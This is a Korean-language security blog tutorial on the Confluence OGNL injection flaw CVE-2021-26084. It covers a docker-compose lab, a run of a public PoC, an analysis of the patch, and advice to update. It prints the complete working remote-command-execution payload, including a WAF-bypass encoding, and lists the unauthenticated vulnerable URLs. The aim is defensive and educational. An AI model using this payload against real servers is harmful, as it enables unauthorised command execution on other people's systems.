요약
컨플루언스에서 권한 없이 원격 명령 실행 가능한 취약점 발생, 해당 취약점 패치 배포 완료 (2021-08-25)
OGNL(Object Graph Navigation Language) 취약점을 이용한 것으로, 이전에 발견된 Apache Struts2 (CVE-2017-5638)과 유사한 취약점. Velocity 지시자 파라미터는
=
기준으로 파싱되기 전에 먼저 실행이 되는 OGNL과 VTL 사이의 구조적 문제로 발생함해당 취약점을 활용한 exploit code가 공개되어있고, 권한 없는 사용자도 원격 실행이 가능하므로 빠른 패치가 필요함
이 문서에서는 아래 내용을 다룹니다
docker-compose 를 통한 취약점 재현 환경 설정 및 실습
공개된 exploit code 분석
실제 패치 내용 분석
취약점 정보
- 공식 Advisory : Confluence Security Advisory 2021-08-25
버전 정보
- 패치 완료된 버전 : 6.13.23, 7.4.11, 7.11.6, 7.12.5, 7.13.0
취약한 URL 및 파라미터
URL | 파라미터 | 로그인 하지 않고 공격 가능 | 비고 |
---|---|---|---|
/pages/createpage-entervariables | querystring | O | 로그인 없이 가능 |
/login.action | token | △ | 회원 가입이 활성화 되어 있어야 함 (기본 비활성화) |
/users/user-dark-features | featureKey | X | 추가 기능 사용을 위한 페이지, 관리자의 허용 설정 필요 |
/pages/templates2/viewpagetemplate.action | querystring, linkCreation | X | |
/templates/editor-preload-containers | syncRev | X | |
/template/custom/content-editor | sourceTemplateId* | X |
공개된 PoC
취약점 실습 환경 구성
취약한 버전 컨플루언스 구동
docker-compose를 활용해서 컨플루언스를 구동해 봅시다. docker-compose 사용을 위해서는 docker desktop 설치가 필요합니다. 이 튜토리얼에서는 취약한 버전 7.12.4
버전을 기준으로 합니다.
docker-compose.yml
version: '3'
services:
confluence:
image: atlassian/confluence-server:7.12.4
environment:
- ATL_JDBC_URL=jdbc:postgresql://db:5432/confluence
- ATL_JDBC_USER=confluence
- ATL_JDBC_PASSWORD=donotuseinproduction
- ATL_DB_DRIVER=org.postgresql.Driver
- ATL_DB_TYPE=postgresql
ports:
- 8090:8090
depends_on:
- db
restart: always
db:
image: postgres:11
environment:
- POSTGRES_PASSWORD=donotuseinproduction
- POSTGRES_USER=confluence
- POSTGRES_DB=confluence
restart: always
위의 compose 파일 생성 후 아래 명령어로 confluence를 실행해 줍니다.
$ docker-compose up
실행 후에 Trial license를 등록하고, 아래쪽에 버전 정보가 취약한 버전임을 확인합니다.
PoC 실습
실행해 보기
실행할 PoC는 h3v0x/CVE-2021-26084_Confluence 입니다.
해당 PoC 코드를 실행하기 위해서는 공격 대상 페이지 URL 정보를 입력해야 합니다. 우리는 완전한 외부자인 것을 가정하고 공격하기 위해서, /pages/createpage-entervariables.action?SpaceKey=x
페이지를 활용해 봅시다.
우선 (1) 해당 페이지에 접근이 가능한지, (2) 실제 접근 시 SpaceKey 파라미터 내의 값이 응답값에 포함되는지 확인해 봅시다.
해당 페이지에 URL 직접접근을 할 경우, 로그인 하지 않았음에도 불구하고 에디터 창이 뜹니다. 디폴트 세팅 시 로그인한 사용자만 컨플루언스의 기능을 사용할 수 있기 때문에 다른 페이지의 경우 비로그인 상태로 접근 시 로그인 화면으로 즉시 리다이렉트 되는데, 특이한 페이지 인 것 같습니다.
SpaceKey를 통해 넘긴 파라미터가 응답값 내 querystring에 SpaceKey=deguru
로 출력되는것을 확인할 수 있습니다.
세팅은 다 된것 같으니, 한번 PoC 코드를 실행시켜 봅시다. 명령 실행이 잘 되는 것을 확인할 수 있습니다.
$ python3 Confluence_OGNLInjection.py -u http://127.0.0.1:8090 -p /pages/createpage-entervariables.action?SpaceKey=x
--------------------------------------------------------------
[-] Confluence Server Webwork OGNL injection
[-] CVE-2021-26084
[-] https://github.com/h3v0x
---------------------------------------------------------------
> whoami
aaaaaaaa[confluence
]
>
PoC 코드 분석
PoC 코드는 매우 단순합니다. 우리가 입력한 URL에 실행할 명령어를 queryString 파라미터로 포함한 요청을 보내고 -> 응답값 내의 명령 실행 결과를 파싱하여 우리에게 보여줍니다. 웹서버 권한으로 모든 명령 실행이 가능합니다.
명령 실행을 위해 서버측에 보낸 코드는 아래와 같습니다.
xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
해당 코드를 조각내어 분석해 봅시다. 첫번째 코드 조각은, 명령 실행 시 서버 환경 확인 및 윈도우의 경우 cmd.exe, 그 외의 경우 bash 를 활용하여 명령 실행 할 수 있도록 서버의 실행 환경을 확인하는 코드입니다.
추가적으로, 코드 작성 시 자바 코드를 자바스크립트 문법으로 사용할 수 있도록 도와주는 ScriptEngineManager를 활용 하였습니다. 컨플루언스에 적용되어있는 시큐어 코딩 방식은 특정 프로퍼티, 메소드 등을 블랙리스트로 탐지하는 방식이여서 new String[]을 입력할 수 없습니다. 그러므로 명령 실행을 위한 명령어를 변수로 설정하는 것이 불가능하고, 따라서 명령 실행이 불가능 합니다. 이러한 제약사항을 ScriptEngineManager를 활용하여 우회합니다.
❗ 원본 코드에는
.eval
부분이.\\u0065val
식으로 인코딩 되어 있어 (1) 인코딩 상태와 (2) 인코딩 되지 않은 상태 두가지 다 테스트 해 본 결과, 인코딩이 되어 있어도 정상적으로.eval
형태로 인식하는 것을 확인 했습니다.
.eval
로 작성해도 정상적으로 인식 함에도 불구하고 왜 이런 방식으로 작성해 두었는지 궁금했는데, 관련된 흥미로운 글을 발견했습니다.
요약) VMWare에 취약점 제보를 위해 제공했던 익스플로잇 코드가 github 내 공개 레포지토리인 Nuclei template 의 pull request에 등록 되어 공격 페이로드가 외부 공개 되었다는 주장입니다.
상세) VMWare에 접수한 익스플로잇 코드는 VMWare 사에 적용되어있는 WAF를 우회하기 위하여
eval
이 아닌\\u0065val
로 설정해 두었고, 명령 실행 결과를 구분하기 위하여aaaaaaaaa[실행결과]
형태로 결과물을 출력해 주는것이 특징입니다. 해당 pull request 내에 사용된 공격 payload는 익스플로잇 코드 유출을 주장하는 사용자가 VMWare에 접수한 코드와 동일합니다. 또한 이 게시물에서 다루는 PoC 코드와도 동일합니다. 해당 글 작성자는 2021년 8월 31일 오전 10:39 (UTC+7)에 VMWare에 티켓을 접수하였고, 위의 pull request는 2021년 9월 1일 오전 3:44(UTC+7)에 올라왔습니다.
원문) [Atlassian Confluence CVE-2021–26084]::: The other side of bug report!
Class.forName(\'javax.script.ScriptEngineManager\').newInstance().getEngineByName(\'JavaScript\').eval(\'var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");
var cmd = new java.lang.String(\""+cmd+"\");
var p = new java.lang.ProcessBuilder();
if(isWin){p.command(\"cmd.exe\", \"/c\", cmd); }
else{p.command(\"bash\", \"-c\", cmd); }
p.redirectErrorStream(true);
명령 실행을 위한 세팅이 끝나면, 실제 환경에 맞는 실행 명령 전달을 통해 명령 실행 및 결과를 출력 합니다.
var process= p.start();
var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = \"\";
var output = \"\";
while((line = bufferedReader.readLine()) != null){
output = output + line + java.lang.Character.toString(10);
}\')}+\'
실제 패치 내용 분석
아틀라시안에서는 해당 취약점 패치를 위한 핫픽스를 공개 하였습니다. 패치를 적용한 후 패치 내용을 분석해 봅니다. 중요한 내용 위주로 보겠습니다.
File 1(confluence/users/user-dark-features.vm)과 File 2(confluence/login.vm)에는 변동사항이 없습니다.
File 1: 'confluence/users/user-dark-features.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
d. validating file changes.. ok
e. file updated successfully!
File 2: 'confluence/login.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
d. validating file changes.. ok
e. file updated successfully!
File 3의 경우는 일부 변경사항이 있습니다. 기존의 $!queryString
에서 queryString
으로 변경됐습니다. linkCreation
도 마찬가지로 $
가 빠졌습니다. Velocity의 지시자 파라미터로 처리되지 않도록 변경된 것입니다. Velocity의 지시자 파라미터는 =
기준으로 파싱되기 전에 먼저 실행이 되는 OGNL과 VTL 사이의 구조적 문제로 발생하는 취약점으로 보입니다.
File 3: 'confluence/pages/createpage-entervariables.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
24c24
< #tag ("Hidden" "name='queryString'" "value='$!queryString'")
---
> #tag ("Hidden" "name='queryString'" "value=queryString")
26c26
< #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
---
> #tag ("Hidden" "name='linkCreation'" "value=linkCreation")
d. validating file changes..ok
e. file updated successfully!
File 4(content-editor.vm)와 5(confluence-editor-loader*.jar)도 마찬가지로 입력값이 변수 처리 되지 않도록 패치 되었습니다.
File 4: 'confluence/template/custom/content-editor.vm':
a. backing up file.. done
b. updating file.. done
c. showing file changes..
64c64
< #tag ("Hidden" "name='queryString'" "value='$!queryString'")
---
> #tag ("Hidden" "name='queryString'" "value=queryString")
85c85
< #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
---
> #tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value=templateId")
d. file updated successfully!
File 5: 'confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader*.jar':
a. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar..
Archive: confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar
inflating: ./templates/editor-preload-container.vm
b. updating file.. done
c. showing file changes..
56c56
< #tag ("Hidden" "id=syncRev" "name='syncRev'" "value='$!{action.syncRev}'")
---
> #tag ("Hidden" "id=syncRev" "name='syncRev'" "value=syncRev")
d. validating file changes.. ok
e. updating confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar with ./templates/editor-preload-container.vm..updating: templates/editor-preload-container.vm (deflated 59%)
-rw-r--r-- 1 ... .... 13370 Sep 9 23:52 confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar
f. cleaning up temp files..ok
g. extracting templates/editor-preload-container.vm from confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader-7.12.4.jar again to check changes within JAR..
...skipping...
완료 후 PoC를 재실행 해 보면 아래와 같이 명령어가 해석되지 않고 그대로 출력되는 것을 확인할 수 있습니다.
❯ python3 Confluence_OGNLInjection.py -u http://127.0.0.1:8090 -p "/pages/createpage-entervariables.action?SpaceKey=deguru"
---------------------------------------------------------------
[-] Confluence Server Webwork OGNL injection
[-] CVE-2021-26084
[-] https://github.com/h3v0x
---------------------------------------------------------------
> whoami
aaaaaaaa\u0027+{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var isWin = java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022); var cmd = new java.lang.String(\u0022whoami\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\u0022cmd.exe\u0022, \u0022/c\u0022, cmd); } else{p.command(\u0022bash\u0022, \u0022-c\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \u0022\u0022; var output = \u0022\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\u0027)}+\u0027
결론
- 컨플루언스를 쓴다면, 최신버전으로 업데이트 하거나 핫픽스가 반드시 필요합니다.